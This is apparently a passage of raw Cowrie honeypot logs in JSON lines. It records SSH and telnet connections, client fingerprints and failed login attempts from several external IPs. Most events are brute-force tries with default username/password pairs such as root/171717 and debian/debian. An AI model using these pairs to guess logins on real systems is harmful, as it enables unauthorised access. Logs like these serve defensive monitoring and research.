hacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:43.697037Z","src_ip":"31.40.204.166","session":"fedd227b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.65897226333618,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:44.542422Z","src_ip":"152.42.224.71","session":"feff0d07ffd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57576,"dst_ip":"10.17.0.5","dst_port":23,"session":"546f00b31280","protocol":"telnet","message":"New connection: 152.42.224.71:57576 (10.17.0.5:23) [session: 546f00b31280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:44.573261Z"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:44.731367Z","src_ip":"31.40.204.166","session":"fedd227b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57590,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7c8117e0799","protocol":"telnet","message":"New connection: 152.42.224.71:57590 (10.17.0.5:23) [session: b7c8117e0799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:45.235070Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":48104,"dst_ip":"159.203.135.109","dst_port":22,"session":"723c3b42d776","protocol":"ssh","message":"New connection: 193.228.128.84:48104 (159.203.135.109:22) [session: 723c3b42d776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:45.422741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:45.431620Z","src_ip":"193.228.128.84","session":"723c3b42d776","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:45.534122Z","src_ip":"193.228.128.84","session":"723c3b42d776","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"171717","message":"login attempt [root/171717] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:45.845801Z","src_ip":"193.228.128.84","session":"723c3b42d776","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:45.910918Z","src_ip":"31.40.204.166","session":"fedd227b3fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dc1c8c0e119","protocol":"telnet","message":"New connection: 152.42.224.71:50610 (10.17.0.5:23) [session: 5dc1c8c0e119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:46.245309Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:46.950757Z","src_ip":"193.228.128.84","session":"723c3b42d776","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50628,"dst_ip":"10.17.0.5","dst_port":23,"session":"dea8dfec4333","protocol":"telnet","message":"New connection: 152.42.224.71:50628 (10.17.0.5:23) [session: dea8dfec4333]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:47.821147Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50618,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6af959c783","protocol":"telnet","message":"New connection: 152.42.224.71:50618 (10.17.0.5:23) [session: 7e6af959c783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:48.122485Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50640,"dst_ip":"10.17.0.5","dst_port":23,"session":"809c6efbaa2f","protocol":"telnet","message":"New connection: 152.42.224.71:50640 (10.17.0.5:23) [session: 809c6efbaa2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:50.773627Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50650,"dst_ip":"10.17.0.5","dst_port":23,"session":"94fab07e3362","protocol":"telnet","message":"New connection: 152.42.224.71:50650 (10.17.0.5:23) [session: 94fab07e3362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:53.831409Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45460,"dst_ip":"159.203.135.109","dst_port":22,"session":"151d4e17bea0","protocol":"ssh","message":"New connection: 31.40.204.166:45460 (159.203.135.109:22) [session: 151d4e17bea0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:55.117243Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:55.122526Z","src_ip":"31.40.204.166","session":"151d4e17bea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50656,"dst_ip":"10.17.0.5","dst_port":23,"session":"77815e64cbc1","protocol":"telnet","message":"New connection: 152.42.224.71:50656 (10.17.0.5:23) [session: 77815e64cbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:55.172775Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:55.299636Z","src_ip":"31.40.204.166","session":"151d4e17bea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"123456","message":"login attempt [mc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:55.998017Z","src_ip":"31.40.204.166","session":"151d4e17bea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"865b25ba2474","protocol":"telnet","message":"New connection: 152.42.224.71:34190 (10.17.0.5:23) [session: 865b25ba2474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:56.716690Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:10:57.184135Z","src_ip":"31.40.204.166","session":"151d4e17bea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34770,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b46634036f","protocol":"telnet","message":"New connection: 152.42.224.71:34770 (10.17.0.5:23) [session: 37b46634036f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:06.169543Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":33128,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccd0b70d2548","protocol":"ssh","message":"New connection: 31.40.204.166:33128 (159.203.135.109:22) [session: ccd0b70d2548]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:06.182913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:06.192845Z","src_ip":"31.40.204.166","session":"ccd0b70d2548","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:06.308684Z","src_ip":"31.40.204.166","session":"ccd0b70d2548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":84.88587975502014,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:06.357966Z","src_ip":"152.42.224.71","session":"283aca5ef09f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:07.129284Z","src_ip":"31.40.204.166","session":"ccd0b70d2548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":22.84100651741028,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:08.075971Z","src_ip":"152.42.224.71","session":"b7c8117e0799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:08.297440Z","src_ip":"31.40.204.166","session":"ccd0b70d2548","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.529425621032715,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:09.102561Z","src_ip":"152.42.224.71","session":"546f00b31280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34778,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb8867084722","protocol":"telnet","message":"New connection: 152.42.224.71:34778 (10.17.0.5:23) [session: eb8867084722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:10.846273Z"}
{"eventid":"cowrie.session.closed","duration":29.54349184036255,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:11.996692Z","src_ip":"152.42.224.71","session":"cd113c877be9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.060571670532227,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:16.230029Z","src_ip":"152.42.224.71","session":"37b46634036f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.62525701522827,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:17.446243Z","src_ip":"152.42.224.71","session":"dea8dfec4333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58610,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a1063a0a39d","protocol":"ssh","message":"New connection: 31.40.204.166:58610 (159.203.135.109:22) [session: 4a1063a0a39d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:17.502065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:17.523505Z","src_ip":"31.40.204.166","session":"4a1063a0a39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44556,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb6834c114f5","protocol":"telnet","message":"New connection: 152.42.224.71:44556 (10.17.0.5:23) [session: cb6834c114f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:17.570729Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:17.698980Z","src_ip":"31.40.204.166","session":"4a1063a0a39d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hzx","password":"hzx","message":"login attempt [hzx/hzx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:18.387264Z","src_ip":"31.40.204.166","session":"4a1063a0a39d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:19.587504Z","src_ip":"31.40.204.166","session":"4a1063a0a39d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44570,"dst_ip":"10.17.0.5","dst_port":23,"session":"46482cd3fdd1","protocol":"telnet","message":"New connection: 152.42.224.71:44570 (10.17.0.5:23) [session: 46482cd3fdd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:20.444100Z"}
{"eventid":"cowrie.session.closed","duration":47.3637273311615,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:25.710059Z","src_ip":"152.42.224.71","session":"f6be74b04b52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36022,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c1d3bf62483","protocol":"ssh","message":"New connection: 31.40.204.166:36022 (159.203.135.109:22) [session: 8c1d3bf62483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:28.583967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:28.599335Z","src_ip":"31.40.204.166","session":"8c1d3bf62483","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:28.714871Z","src_ip":"31.40.204.166","session":"8c1d3bf62483","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"username","message":"login attempt [username/username] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:29.480477Z","src_ip":"31.40.204.166","session":"8c1d3bf62483","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56218,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0f4030e8ec3","protocol":"telnet","message":"New connection: 152.42.224.71:56218 (10.17.0.5:23) [session: a0f4030e8ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:29.851459Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":46586,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdee4bc61b18","protocol":"ssh","message":"New connection: 77.94.47.83:46586 (159.203.135.109:22) [session: cdee4bc61b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:30.016575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:30.021730Z","src_ip":"77.94.47.83","session":"cdee4bc61b18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:30.146436Z","src_ip":"77.94.47.83","session":"cdee4bc61b18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10293847","message":"login attempt [root/10293847] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:11:30.525831Z","src_ip":"77.94.47.83","session":"cdee4bc61b18","protocol":"ssh"}
